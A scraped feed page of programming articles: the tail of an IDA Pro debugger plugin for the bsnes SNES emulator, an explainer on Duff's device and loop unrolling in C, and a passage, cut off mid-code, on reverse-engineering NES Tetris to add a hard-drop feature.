TSocket("127.0.0.1", 9091));  cli_transport = ::std::shared_ptr<TTransport>(new TFramedTransport(socket));  ::std::shared_ptr<TBinaryProtocol> protocol(new TBinaryProtocol(cli_transport));  client = ::std::shared_ptr<IdaClientClient>(new IdaClientClient(protocol));  while (true) {    try {      cli_transport->open();      break;    }    catch (...) {      Sleep(10);    }  }  atexit(stop_client);}static void toggle_pause(bool enable) {  application.debug = enable;  application.debugrun = enable;  if (enable) {    audio.clear();  }}class BsnesDebuggerHandler : virtual public BsnesDebuggerIf {public:  int32_t get_cpu_reg(const BsnesRegister::type reg) override {    switch (reg) {    case BsnesRegister::pc:    case BsnesRegister::a:    case BsnesRegister::x:    case BsnesRegister::y:    case BsnesRegister::s:    case BsnesRegister::d:    case BsnesRegister::db:    case BsnesRegister::p:      return SNES::cpu.getRegister((SNES::CPUDebugger::Register)reg);    case BsnesRegister::mflag:      return (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagM) ? 1 : 0;    case BsnesRegister::xflag:      return (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagX) ? 1 : 0;    case BsnesRegister::eflag:      return (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagE) ? 1 : 0;    }  }  void get_cpu_regs(BsnesRegisters& _return) override {    _return.pc = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterPC);    _return.a = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterA);    _return.x = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterX);    _return.y = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterY);    _return.s = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterS);    _return.d = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterD);    _return.db = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterDB);    _return.p = SNES::cpu.getRegister(SNES::CPUDebugger::Register::RegisterP);    _return.mflag = (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagM) ? 1 : 0;    _return.xflag = (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagX) ? 1 : 0;    _return.eflag = (SNES::cpu.usage[SNES::cpu.regs.pc] & SNES::CPUDebugger::UsageFlagE) ? 1 : 0;  }  void set_cpu_reg(const BsnesRegister::type reg, const int32_t value) override {    switch (reg) {    case BsnesRegister::pc:    case BsnesRegister::a:    case BsnesRegister::x:    case BsnesRegister::y:    case BsnesRegister::s:    case BsnesRegister::d:    case BsnesRegister::db:    case BsnesRegister::p:      SNES::cpu.setRegister((SNES::CPUDebugger::Register)reg, value);    }  }  void add_breakpoint(const DbgBreakpoint& bpt) override {    SNES::Debugger::Breakpoint add;    add.addr = bpt.bstart;    add.addr_end = bpt.bend;    add.mode = bpt.type;    add.source = (SNES::Debugger::Breakpoint::Source)bpt.src;    SNES::debugger.breakpoint.append(add);  }  void del_breakpoint(const DbgBreakpoint& bpt) override {    for (auto i = 0; i < SNES::debugger.breakpoint.size(); ++i) {      auto b = SNES::debugger.breakpoint[i];      if (b.source == (SNES::Debugger::Breakpoint::Source)bpt.src && b.addr == bpt.bstart && b.addr_end == bpt.bend && b.mode == bpt.type) {        SNES::debugger.breakpoint.remove(i);        break;      }    }  }  void read_memory(std::string& _return, const DbgMemorySource::type src, const int32_t address, const int32_t size) override {    _return.clear();    SNES::debugger.bus_access = true;    for (auto i = 0; i < size; ++i) {      _return += SNES::debugger.read((SNES::Debugger::MemorySource)src, address + i);    }    SNES::debugger.bus_access = false;  }  void write_memory(const DbgMemorySource::type src, const int32_t address, const std::string& data) override {    SNES::debugger.bus_access = true;    for (auto i = 0; i < data.size(); ++i) {      SNES::debugger.write((SNES::Debugger::MemorySource)src, address, data[i]);    }    SNES::debugger.bus_access = false;  }  void exit_emulation() override {    try {      if (client) {        send_visited(false);        client->stop_event();      }    }    catch (...) {    }    application.app->exit();  }  void pause() override {    step_into();  }  void resume() override {    toggle_pause(false);  }  void start_emulation() override {    init_ida_client();    try {      if (client) {        client->start_event();        visited.clear();        client->pause_event(SNES::cpu.getRegister(SNES::CPUDebugger::RegisterPC));      }    }    catch (...) {    }  }  void step_into() override {    SNES::debugger.step_type = SNES::Debugger::StepType::StepInto;    application.debugrun = true;    SNES::debugger.step_cpu = true;  }  void step_over() override {    SNES::debugger.step_type = SNES::Debugger::StepType::StepOver;    SNES::debugger.step_over_new = true;    SNES::debugger.call_count = 0;    application.debugrun = true;    SNES::debugger.step_cpu = true;  }};static void stop_server() {  srv->stop();}void init_dbg_server() {  ::std::shared_ptr<BsnesDebuggerHandler> handler(new BsnesDebuggerHandler());  ::std::shared_ptr<TProcessor> processor(new BsnesDebuggerProcessor(handler));  ::std::shared_ptr<TNonblockingServerTransport> serverTransport(new TNonblockingServerSocket(9090));  ::std::shared_ptr<TFramedTransportFactory> transportFactory(new TFramedTransportFactory());  ::std::shared_ptr<TProtocolFactory> protocolFactory(new TBinaryProtocolFactory());  srv = ::std::shared_ptr<TNonblockingServer>(new TNonblockingServer(processor, protocolFactory, serverTransport));  ::std::shared_ptr<ThreadFactory> tf(new ThreadFactory());  ::std::shared_ptr<Thread> thread = tf->newThread(srv);  thread->start();  atexit(stop_server);  SNES::debugger.breakpoint.reset();  SNES::debugger.step_type = SNES::Debugger::StepType::StepInto;  application.debugrun = true;  SNES::debugger.step_cpu = true;}void send_pause_event(bool is_step) {  try {    if (client) {      client->pause_event(SNES::cpu.getRegister(SNES::CPUDebugger::RegisterPC));      send_visited(is_step);    }  }  catch (...) {  }}

Фактически, я взял код, который уже был во встроенном отладчике, и скопировал его в реализацию каждого из требуемых методов интерфейса BsnesDebugger.


Часть объектов и методов я не делал статичными, т.к. к ним нам нужно будет обращаться из других участков кода эмулятора. Эти методы и объекты представлены в следующем списке:


  • ::std::set<int32_t> visited; сюда мы будем добавлять код, который выполнялся во время эмуляции, и который мы будем отправлять в Иду
  • void init_dbg_server() будем запускать RPC-сервер не при запуске эмулятора, а при запуске эмуляции выбранного рома
  • void send_pause_event(bool is_step) данный метод я использую не только для уведомления Иды о том, что эмуляция приостановлена, но и для отправки перед этим карты кода (codemap). Подробнее про параметр bool is_step и codemap я расскажу чуть позже

Теперь остаётся найти, где же эмулятору стоит сообщать о паузе, где начинается эмуляция, и где заполняется карта кода. Вот эти места:


Выполнение одной инструкции:


alwaysinline uint8_t CPUDebugger::op_readpc() {  extern std::set<int32_t> visited; // я решил не использовать отдельный header  visited.insert(regs.pc); // вставляем в карту кода текущее значение регистра PC  usage[regs.pc] |= UsageExec;  int offset = cartridge.rom_offset(regs.pc);  if (offset >= 0) cart_usage[offset] |= UsageExec;  // execute code without setting read flag  return CPU::op_read((regs.pc.b << 16) + regs.pc.w++);}

Открытие SNES рома:



Пошаговое исполнение:



Реакция на срабатывание брейкпоинта:



Хитрости применения codemap в Иде


Осталось рассказать о хитростях работы с функциями анализатора в IDA, и затем со спокойной (но переживающей "сомпилируется ли") душой нажать на Build Solution.


Оказалось, что просто так взять и в цикле выполнять функции, которые меняют IDB (файлы проектов в IDA) во время отладки нельзя будет вылетать через раз, и доводить своим непостоянством до сумасшествия. Нужно делать по-умному, например, вот так:


Как правильно менять IDB во время отладки
static struct apply_codemap_req : public exec_request_t {private:  const std::set<int32_t>& _changed;  const bool _is_step;public:  apply_codemap_req(const std::set<int32_t>& changed, bool is_step) : _changed(changed), _is_step(is_step) {};  int idaapi execute(void) override {    auto m = _changed.size();    if (!_is_step) {      show_wait_box("Applying codemap: %d/%d...", 1, m);    }    auto x = 0;    for (auto i = _changed.cbegin(); i != _changed.cend(); ++i) {      if (!_is_step && user_cancelled()) {        break;      }      if (!_is_step) {        replace_wait_box("Applying codemap: %d/%d...", x, m);      }      ea_t addr = (ea_t)(*i | 0x800000);      auto_make_code(addr);      plan_ea(addr);      show_addr(addr);      x++;    }    if (!_is_step) {      hide_wait_box();    }    return 0;  }};static void apply_codemap(const std::set<int32_t>& changed, bool is_step){  if (changed.empty()) return;  apply_codemap_req req(changed, is_step);  execute_sync(req, MFF_FAST);}

Если вкратце, то суть в использовании метода execute_sync() и реализации своего варианта структуры exec_request_t и её колбэка int idaapi execute(void). Это рекомендованный разработчиками способ.


Выводы и компиляция


Фактически, мы закончили писать свой собственный плагин-отладчик для IDA. Мне показалось, что как раз для реализации общения между Идой и эмулятором и создания отладчика Thrift подошёл как нельзя кстати. С минимальными усилиями мне удалось написать и серверную и клиентскую часть для обеих сущностей, не городя велосипеды в виде открытия сокетов по разному для разных платформ, и изобретения RPC реализации с нуля.


К тому же, получившийся протокол легко масштабируется под другие методы и структуры и легко переносим.


Всем спасибо!




Подробнее..

Duffs device или loop unrolling в Си своими руками

31.05.2021 22:09:30 | Автор: admin

Выглядит ли следующий код валидным С++ кодом? Если да, то какое значение будет выведено в результате его работы?

#include <iostream>int main() {  int number = 11;       int count  = number / 4;  int i = 0;    switch (number % 4) {    case 0:       do {      ++i;    case 3: ++i;    case 2: ++i;    case 1: ++i;      } while (count-- > 0);  }  std::cout << i;}

С первого взгляда этот код может показаться какой-то кашей, в которой конструкция switch и цикл do-while просто наложены друг на друга. Однако с точки зрения стандарта языка , здесь все совершенно законно.

На самом деле, здесь описан цикл, в котором переменная i увеличивается на единицу number раз, и, как не сложно теперь догадаться, в данном случае программа выведет число 11. То есть код выше будет справедливо "упростить" следующим образом:

#include <iostream>int main() {  int number = 11;  int i = 0;    while (number-- > 0) {    ++i;  }  std::cout << i;}

Но для чего же тогда извращаться и скрещивать do-while и switch?

Duff's device (устройство Даффа)

Этот прием был изобретен ещё в 1983 году программистом по имени Tom Duff, и его применение позволяет реализовать на Си вручную такую оптимизацию, как loop unrolling.

Заключается эта оптимизация в следующем. При выполнении циклов в конце каждой итерации совершается проверка, не закончился ли цикл и не пора ли из него выйти. В нашем случае, после каждой итерации цикла происходит проверка, что number еще не достиг нуля. Выполняя loop unroling (или развертывание цикла), мы уменьшаем количество таких проверок тем, что за одну итерацию выполняем не одно тело цикла, а сразу несколько. В примере выше телом цикла является инкремент переменной i. В дальнейшем цикл, в котором используется данная оптимизация, я буду называть развернутый цикл.

Тогда возникает следующая проблема. Допустим мы применяем такую оптимизацию, выполняя одновременно не одно тело цикла, а четыре. Как нам быть в том случае, если общее число выполняемых итераций не кратно четырем? Очевидное решение найти остаток от деления общего числа итераций на количество итераций в теле развернутого цикла, и выполнить такое количество итераций до начала развернутого цикла. Тогда наш изначальный код,

#include <iostream>int main() {     int number = 11;     int i = 0;       while (number-- > 0) {    ++i;  }       std::cout << i; }

можно оптимизировать следующим образом, выполняя по четыре тела цикла за раз:

int main() {  int number = 11; // общее число итераций = 11.    // в развернутом цикле выполняем по 4 тела цикла за раз.  int count  = number / 4; // количество итераций развернутого цикла.  int left   = number % 4; // количество итераций, которые в него "не влезли".  int i = 0;    // выполняем "невлезшие" в развернутый цикл итерации  // перед выполнением развернуто цикла.  while (left-- > 0) {    i++;  }  // выполняем развернутый цикл по 4 итерации за раз.  while (count-- > 0) {    i++;    i++;    i++;    i++;  }      std::cout << i;}

В данном случае мы выполнили не 11 проверок условия выхода из цикла, как в первом примере, а number / 4 + number % 4 проверок, то есть всего 5, при number равном 11.

Но у программистов на Assembly есть более изящное решение этой проблемы: в начале выполнения развернутого цикла производиться jump на его середину, чтобы сначала выполнить остаток итераций. И устройство Даффа позволяет сделать точно так же в Си. Рассмотрим еще раз код, который я приводил в самом начале:

#include <iostream>int main() {  int number = 11; // общее число итераций все еще равно 11.  int count = number / 4; // число итераций развернутого цикла.  int i = 0;  // находим остаток от деления общего числа итераций на количество итераций  // в одной итерации развернутого цикла и совершаем переход к этой итерации  // внутрь тела развернутого цикла.  switch (number % 4) {    case 0:       do {          ++i;    case 3: ++i; // <- наш случай. Выполнение цикла начнется отсюда и при первой    case 2: ++i; // итерации развернутого цикла будет совершено не четыре, а     case 1: ++i; // только три итерации исходного цикла (11 % 4 итераций).      } while (count-- > 0);   }    std::cout << i;}

В данном случае мы выполнили только number / 4 проверок условия выхода из цикла, то есть всего две проверки, вместо первоначальных одиннадцати. Данный прием возможен благодаря тому, что в конструкции switch в Си выполнение кода будет "проваливаться" из блока одной метки case в блок следующей при отсутствии между ними оператора break. Но, как правило, никто не ожидает увидеть метку case посередине какой-то другой конструкции, как цикл do-while в нашем случае. Но в действительности, метка case может находится в любом месте внутри switch, и управление будет просто передано на следующую за ней инструкцию, что бы там не находилось.

В оригинале устройство Даффа выглядело следующим образом:

send(to, from, count)// to - регистр ввода/вывода, отображаемый в память. Он не увеличивается// при каждой итерации цкла.// from - массив в памяти, откуда происходит копирование в регистр 'to'register short *to, *from;register count;{    // в данном случае цикл разворачивался по 8 итераций за раз    register n = (count + 7) / 8;    switch (count % 8) {    case 0: do { *to = *from++;    case 7:      *to = *from++;    case 6:      *to = *from++;    case 5:      *to = *from++;    case 4:      *to = *from++;    case 3:      *to = *from++;    case 2:      *to = *from++;    case 1:      *to = *from++;            } while (--n > 0);    }}

Положительные и побочные эффекты

У этого приема есть как плюсы, так и минусы. Очевидным плюсом является рост производительности за счет снижения количества выполняемых проверок, но, помимо ухудшения читаемости исходного кода, неочевидным минусом является увеличение размера исполняемого файла, ведь теперь в нем банально будет больше кода. Но так ли все хорошо на самом деле?

Предлагаю посмотреть, во что превращается код в обоих случаях после компиляции. Для этого воспользуемся Compiler Explorer'ом с компилятором gcc 11.1 для x86-64 без дополнительных опций. Рассмотрим сгенерированный код, не сильно вдаваясь в подробности.

В случае без оптимизации наш цикл скомпилируется в следующее:

... ; рассмотрим только код самого цикла while; [rbp-4] - это переменная number = 11 на стеке; [rbp-8] - это переменная i = 0 на стеке        jmp     .L2 .L3:        add     DWORD PTR [rbp-8], 1    ; увеличили i на единицу.L2:        mov     eax, DWORD PTR [rbp-4]  ; кладем в регистр eax значение number        lea     edx, [rax-1]            ; отнимаем от number единицу        mov     DWORD PTR [rbp-4], edx  ; сохраняем значение number-1 на стек        test    eax, eax                ; проверяем, что number еще не стал 0        jg      .L3                     ; если не стал, повторяем цикл еще раз...

В данном случае проверка условия выхода из цикла находится после метки .L2, и, как мы уже разобрались ранее, она будет выполненна 11 раз. Теперь взгянем, что получается с использованием устройства Даффа.

...; рассматриваем только внутренности switch; в [rbp-4] и [rbp-8] все как и было; [rbp-12] - переменная count        mov     eax, DWORD PTR [rbp-4] ; весь этот код до метки .L8 нужен для         cdq                            ; вычисления остатка от деления общего        shr     edx, 30                ; количества итераций на количество        add     eax, edx               ; итераций в одной итерации развернутого        and     eax, 3                 ; цикла и перехода к нужной итерации.        sub     eax, edx                       cmp     eax, 3 ; в зависимости от остатка мы прыгаем на:        je      .L2                    ; вторую итерацию        cmp     eax, 3        jg      .L3        cmp     eax, 2        je      .L4 ; третью итерацию        cmp     eax, 2        jg      .L3        test    eax, eax        je      .L5                    ; первую итерацию        cmp     eax, 1        je      .L6                    ; четвертую итерацию        jmp     .L3                    ; да, в худшем случае мы дойдем аж до сюда                                       ; проверив все предыдущее..L8:        nop.L5:                                   ; а вот наши "развернутые итерации":        add     DWORD PTR [rbp-8], 1   ; перый i++.L2:        add     DWORD PTR [rbp-8], 1   ; второй i++.L4:        add     DWORD PTR [rbp-8], 1   ; третий i++.L6:        add     DWORD PTR [rbp-8], 1   ; четвертый i++        mov     eax, DWORD PTR [rbp-4] ; дальше выполняется точно такая же, как        lea     edx, [rax-1]           ; и в первом случае, проверка условия        mov     DWORD PTR [rbp-4], edx ; выхода из цикла        test    eax, eax        jg      .L8.L3:         ; тут идет завершение программы...

Во первых, сразу заметно, что кода стало значительно больше. Во вторых, хотя мы и уменьшили количество проверок условия выхода из цикла в конце с 11 до 2, у нас появилось несколько новых проверок при вычислении остатка от деления и переходе на нужную итерацию в начале.

Вопрос, как на самом деле поулучается быстрее и эффективнее, остаеться открытым. Во многом это зависит от конкретной платформы и от того, на сколько хорошо компилятор оптимизирует код под эту платформу. В каких то случаях быстрее окажется вариант с двумя циклами, где сперва идет цикл с "остатками", а потом развернутый цикл. Так что перед применением устройства Даффа на практике стоит проанализировать, действительно ли в вашем конкретном случае так получается более производительный код. Так же стоит понимать, что сейчас уже далеко не 1983 год, и в наше время многие компиляторы сами умеют делать оптимизации циклов, и правильнее будет доверить это дело им, потому что у них, как правило, получится сделать это лучше.

Мой блог в Телеграме

Подробнее..

Перевод Реверс-инжиниринг тетриса на Nintendo для добавления Hard Drop

25.03.2021 18:04:40 | Автор: admin

Тетрис на Nintendo одна из моих любимых версий тетриса. Моя единственная жалоба заключается в том, что ему не хватает возможности Hard Drop мгновенного падения текущей фигуры и её фиксации на месте. Давайте её добавим

В этом посте описывается модификация, которую я внёс в тетрис, нажатие кнопки вверх приводит к мгновенному падению текущей фигуры и отображению призрачной фигуры точечный контур текущей фигуры, показывающий, где она приземлится.

Ускоренное и мгновенное падение

Текущая фигура перемещается на одну клетку вниз за каждый тик игры. Реализации тетриса обычно предоставляют два способа ускорить падение ускоренное и мгновенное падение.

В случае ускоренного падения нажатие кнопки мгновенно переместит текущую фигуру вниз на одну позицию, а удерживание кнопки заставит её упасть быстрее.

Hard drop мгновенно опускает текущую фигуру и фиксирует её на месте. Поскольку игроку может быть сложно визуально определить, выровнена ли фигура с тем местом, куда она должна приземлиться, реализации тетриса с мгновенным падением обычно отображают контур этой фигуры, показывающий, где она в конечном счёте окажется.

До моих изменений NES Тетрис поддерживал только ускоренное падение.

Артефакт

Я сделал программу на rust, которая считывает файл NES ROM в формате INES. Если на входе был NES Tetris (обычно файл назван что-то вроде Tetris(U)[!].nes), на выходе она создаст новый файл ROM NES, который представляет собой NES Tetris, с добавлением быстрого падения фигуры.

Входной файл должен иметь хэш sha1 a99f922e9da20b2a27e4398348505d2e9d15271b.

$ cargo install nes-tetris-hard-drop-patcher   # install my tool$ nes-tetris-hard-drop-patcher < 'Tetris (U) [!].nes' > tetris-hd.nes   # patch a NES Tetris ROM$ fceux tetris-hd.nes   # run the result in an emulator

Этот инструмент полагается на то, что пользователь получит ROM-файл NES Tetris. В нём нет встроенного тетриса. Полученный файл ROM совместим со всеми эмуляторами NES он неспецифичен для fceux.

Патч

После публикации этого поста некоторые отметили, что существует стандартный формат для патча ROM (IPS), который широко поддерживается эмуляторами. Вы можете скачать мой патч здесь.

Инструменты

Пару лет назад я сделал эмулятор NES. Оказывается, это полезный инструмент для реверс-инжиниринга, поскольку эмулятор легко настроить для проведения экспериментов с запущенной им программой. В частности, очень пригодилась возможность логировать каждую инструкцию, перемежающуюся интересными событиями, такими как обновления видеопамяти. Также он может отображать гифки, и я использовал его для создания всех анимаций в этом посте.

Чтобы протестировать свой эмулятор, я создал библиотеку для написания ассемблерных программ на языке Rust. Вот пример, в котором значение в регистре аккумулятора умножается на 12:

b.inst(Clc, ());                  // clear carry flagb.inst(Rol(Accumulator), ());     // rotate accumulator 1 bit to the left (x2)b.inst(Rol(Accumulator), ());     // rotate accumulator 1 bit to the left (x4)b.inst(Sta(ZeroPage), 0x20);      // store current accumulator value at address 0x0020b.inst(Rol(Accumulator), ());     // rotate accumulator 1 bit to the left (x8)b.inst(Adc(ZeroPage), 0x20);      // add the accumulator with the value at 0x0020 (x12)

Это позволяет мне использовать rust как язык высокого уровня для ассемблерных программ NES. Гибкость Rust важна при добавлении пользовательского кода к существующей программе, написанной в 1980-х годах.

Во время отладки эмулятора я написал простой дизассемблер, который может отображать сборку программ NES для каждой функции.

Наконец, я использовал сторонний эмулятор NES под названием Mesen, который может похвастаться богатым набором инструментов отладки. Он был полезен для понимания содержимого памяти и состояния графического чипа в конкретный момент.

Визуализация конечного положения фигуры

В NES есть два разных типа графики:

  • фон представляет собой сетку из плиток 8x8 пикселов;

  • спрайты это плитки, которые можно рисовать в произвольных местах на экране.

В большинстве игр используется комбинация фонов и спрайтов, и Тетрис не исключение.

Спрайты в тетрисе используются, чтобы отрисовать текущую и следующую фигуры, а также фоновую графику для всего остального. На изображениях ниже демонстрируются два типа графики, с фоном вверху и спрайтами внизу.

В игре явно уже есть логика для рисования текущей фигуры с использованием спрайтов, поэтому самый простой способ визуализации конечного положения фигуры, похоже, заключается в повторном использовании этой логики, но с использованием контурной плитки, а не обычной.

Говоря о контурных плитках, я добавил в игру новую плитку, чтобы использовать её для призрачной фигуры:

Моя цель здесь выследить ту часть кода, которая рендерит текущую фигуры, чтобы повторно использовать этот код для рендеринга конечного положения фигуры.

Для рендеринга спрайтов на NES вы заполняете область основной памяти метаданными спрайта (положение, плитка и т. д.), а затем записываете адрес начала этой области памяти в регистр OAMDMA. (Прямой доступ к памяти атрибутов объекта OAM это специальная память для хранения метаданных спрайта, а DMA это общий термин для устройств, непосредственно считывающих и записывающих основную память.) Запись адреса в OAMDMA заставляет графическое оборудование NES копировать метаданные спрайта указанной области основной памяти и в специализированную память атрибутов объекта, которая будет использоваться во время рендеринга для рисования спрайтов.

Регистр OAMDMA отображается в адресное пространство ЦП по адресу 0x4014. Поиск в дизассемблированной программе по этому адресу показывает:

0xAB63  Lda(Immediate) 0x02       # load accumulator with 20xAB65  Sta(Absolute) 0x4014      # write accumulator to 0x4014

При этом значение 2 записывается в OAMDMA, в результате чего память от 0x0200 до 0x02FF копируется в OAM. И одна функция определённо передаёт управление подпрограмме как ответственная за заполнение буфера. Она находится в 0x8A0A и может многое рассказать о том, как работает Тетрис.

Она начинается с чтения значений из адресов 0x0040 и 0x0041, умножения каждого на 8 и добавления их к некоторым смещениям. На NES каждая плитка имеет размер 8x8 пикселей, так что это, по-видимому, переводится из координаты плитки в координату пиксела, где смещения являются компонентами координаты пиксела верхнего левого угла доски. Несколько минут копания в мезене подтверждают это: 0x40 это координата x, а 0x41 координата Y текущего фрагмента.

Затем функция считывает данные из 0x42. Это место всегда содержит значение от 0 до 12, которое, по-видимому, кодирует форму текущей фигуры, а также её вращение. Для фигур с вращательной симметрией (например, фигура S) несколько одинаковых вращений получают одно значение в 0x42. Я буду называть это значение индексом формы.

Каждая фигура в Тетрисе состоит из 4 плиток, и для каждой плитки рендерится один спрайт. Координаты в 0x40 и 0x41 это позиция фигуры, но для рендеринга спрайтов мы должны узнать положение каждой плитки. С этой целью эта функция обращается к таблице в ПЗУ по адресу 0x8A9C, которую я буду называть таблицей форм. Каждая из 13 частей (включая уникальные вращения) имеет 12-байтовую запись в таблице форм. Запись таблицы форм для фрагмента хранит по 3 байта для каждой из 4 плиток:

  • смещение плитки по оси y (относительно 0x41);

  • индекс спрайта, используемый при рендеринге плитки;

  • смещение плитки по оси x (относительно 0x40).

Эта функция вычисляет местоположение и индекс спрайта каждой плитки текущей фигуры и заполняет буфер OAM DMA этой информацией. Чтобы визуализировать призрачную фигуру, мне нужна аналогичная функция, за исключением того, что она отображает каждую плитку с контуром, а не плиткой из таблицы форм, и визуализирует фигуру с вертикальным смещением, так что фигура появляется в том месте, где она должна приземлиться после hard drop. Было бы нетривиально изменить эту функцию на месте, чтобы она была общей для призрачной и обычной фигуры, поэтому вместо этого я скопировал/вставил код и изменил его, чтобы сделать то, что мне нужно.

Сначала я стал использовать программу для просмотра памяти mesen, чтобы найти, казалось бы, неиспользуемую область ПЗУ. Я не знаю, что здесь делают строки с 0x00 и 0xFF! Также я не знаю, как изменить шрифт в mesen на Monospace!

Я выделил 512 байт памяти, начиная с адреса 0xD6D0. Первым кодом, который я добавил в эту область, была функция, которая просто вызывает существующую функцию обновления буфера DMA OAM:

b.label("oam-dma-buffer-update");// Call original functionb.inst(Jsr(Absolute), 0x8A0A);// Returnb.inst(Rts, ());

Мой инструмент для патча заменяет все вызовы исходной функции (0x8A0A) вызовами новой функции.

Затем я взял дизассемблированный код из исходной функции обновления буфера DMA OAM и вручную перевел его на язык rust для сборки NES.

Этот код:

0x8A0A  Lda(ZeroPage) 0x400x8A0C  Asl(Accumulator)0x8A0D  Asl(Accumulator)0x8A0E  Asl(Accumulator)0x8A0F  Adc(Immediate) 0x600x8A11  Sta(ZeroPage) 0xAA...

превратился в:

b.label("render-ghost-piece"); // function label so it can be called by name laterb.inst(Lda(ZeroPage), 0x40);b.inst(Asl(Accumulator), ());b.inst(Asl(Accumulator), ());b.inst(Asl(Accumulator), ());b.inst(Adc(Immediate), 0x60);b.inst(Sta(ZeroPage), 0xAA);...

Я изменил свою копию обновления буфера DMA OAM, чтобы использовать контурную плитку вместо плитки, считанной из буфера формы. Чтобы проверить это изменение, я обновил oam-dma-buffer-update, чтобы вызвать мою функцию вместо оригинала:

b.label("oam-dma-buffer-update");// Call new functionb.inst(Jsr(Absolute), "render-ghost-piece");// Returnb.inst(Rts, ());

Затем я заставил мою функцию рендеринга призрачной фигуры принимать аргумент, определяющий вертикальное расстояние, на котором должна оказаться призрачная фигура. В конце концов, это будет вычисляться на основе того, сколько раз фигура может сдвинуться вниз до столкновения, но сначала я попытался вызвать функцию с константой, равной 6.

b.label("oam-dma-buffer-update");  // Call original function first b.inst(Jsr(Absolute), 0x8A0A); // Render the ghost piece, passing the vertical offset argument in address 0x0028. b.inst(Lda(Immediate), 6); b.inst(Sta(ZeroPage), 0x28); b.inst(Jsr(Absolute), "render-ghost-piece"); // Return b.inst(Rts, ());b.label("oam-dma-buffer-update");// Call original function firstb.inst(Jsr(Absolute), 0x8A0A);// Render the ghost piece, passing the vertical offset argument in address 0x0028.b.inst(Lda(Immediate), 6);b.inst(Sta(ZeroPage), 0x28);b.inst(Jsr(Absolute), "render-ghost-piece");// Returnb.inst(Rts, ());

Теперь вычислим истинное вертикальное смещение от текущей фигуры до места, где она приземлится после падения. Наблюдая за памятью с помощью mesen, я заметил, что ничего, похоже, не работает с памятью от 0x0020 до 0x0028. Первые 256 байтов памяти называются нулевой страницей и обеспечивают более быстрый доступ, чем остальная часть памяти. Мне нужно 8 байтов нулевой страницы для хранения координат X, Y каждой плитки текущей фигуры и обнаружения столкновений, а также один дополнительный байт для хранения временных значений во время вычислений.

Начните с инициализации значений от 0x20 до 0x27 координатами X, Y каждой плитки текущей фигуры:

b.label("compute-hard-drop-distance"); // function label so it can be called by name laterconst SHAPE_TABLE: Address = 0x8A9C;const ZP_PIECE_COORD_X: u8 = 0x40;const ZP_PIECE_COORD_Y: u8 = 0x41;const ZP_PIECE_SHAPE: u8 = 0x42;// Multiply the shape by 12 to make an offset into the shape table,// storing the result in IndexRegisterX.b.inst(Lda(ZeroPage), ZP_PIECE_SHAPE);  // read shape index into accumulatorb.inst(Clc, ());               // clear carry flag to prepare for arithmeticb.inst(Rol(Accumulator), ());  // rotate left: index * 2b.inst(Rol(Accumulator), ());  // rotate left: index * 4b.inst(Sta(ZeroPage), 0x20);   // store index * 4 at 0x0020b.inst(Rol(Accumulator), ());  // rotate left: index * 8b.inst(Adc(ZeroPage), 0x20);   // add to 0x0020: index * 12b.inst(Tax, ());               // transfer accumulator to IndexRegisterX// Store absolute X,Y coords of each tile by reading relative coordinates from shape table// and adding the piece offset, storing the result in zero page 0x20..=0x27.for i in 0..4 { // this is a rust loop - the assembly generated inside will be generated 4 times    b.inst(Lda(AbsoluteXIndexed), Addr(SHAPE_TABLE)); // read Y offset from shape table    b.inst(Clc, ());                                  // clear carry flag to prepare for addition    b.inst(Adc(ZeroPage), ZP_PIECE_COORD_Y);          // add to Y coordinate of piece    b.inst(Sta(ZeroPage), 0x21 + (i  2));            // store the result in zero page    b.inst(Inx, ());                                  // increment IndexRegisterX to sprite index    b.inst(Inx, ());                                  // increment IndexRegisterX to X offset    b.inst(Lda(AbsoluteXIndexed), Addr(SHAPE_TABLE)); // read X offset from shape table    b.inst(Clc, ());                                  // clear carry flag to prepare for addition    b.inst(Adc(ZeroPage), ZP_PIECE_COORD_X);          // add to X coordinate of piece    b.inst(Sta(ZeroPage), 0x20 + (i  2));            // store the result in zero page    b.inst(Inx, ());                                  // increment IndexRegisterX to next tile}

Теперь о фактическом обнаружении столкновений! Неоднократно увеличивайте компонент Y каждой координаты плитки в адресах от 0x20 до 0x27, пока одна из плиток не столкнётся с зафиксированной плиткой или не выйдет за нижнюю часть поля. Изучая память с помощью mesen, я узнал, что состояние поля хранится в виде строкового массива индексов спрайтов, начинающихся с 0x0400, и что 0xEF это индекс плитки пустого пространства. Стратегия будет заключаться в использовании координаты каждой плитки для построения индекса в этом массиве и остановке, если будет найдено что-либо кроме 0xEF.

Возможная путаница в приведённом ниже коде заключается в том, что он реализует цикл в сборке, но есть также цикл for в rust, который генерирует сборку. Эти два цикла не связаны между собой. Сборка в цикле rust проходит 4 раза, и результат составляет тело цикла сборки.

const BOARD_TILES: Address = 0x0400;const EMPTY_TILE: u8 = 0xEF;const BOARD_HEIGHT: u8 = 20;b.inst(Ldx(Immediate), 0);   // Load 0 into IndexRegisterX - this will be our loop counterb.label("start-ghost-depth-loop"); // This is a label - a target for branch instructionsfor i in 0..4 { // the assembly in this rust loop will be emitted 4 times    // Increment the Y component of the coordinate    b.inst(Inc(ZeroPage), 0x21 + (i * 2));    // Break out of the loop if the tile is off the bottom of the board    b.inst(Lda(ZeroPage), 0x21 + (i * 2));    b.inst(Cmp(Immediate), BOARD_HEIGHT);    b.inst(Bpl, LabelRelativeOffset("end-ghost-depth-loop"));    // Multiply the Y component of the coordinate by 10 (the number of columns)    b.inst(Asl(Accumulator), ());    b.inst(Sta(ZeroPage), 0x28); // store Y * 2    b.inst(Asl(Accumulator), ());    b.inst(Asl(Accumulator), ()); // accumulator now contains Y * 8    b.inst(Clc, ());    b.inst(Adc(ZeroPage), 0x28); // accumulator now contains Y * 10    // Now add the X component to get the row-major index of the cell    b.inst(Adc(ZeroPage), 0x20 + (i * 2));    // Load the tile at that coordinate    b.inst(Tay, ());    b.inst(Lda(AbsoluteYIndexed), 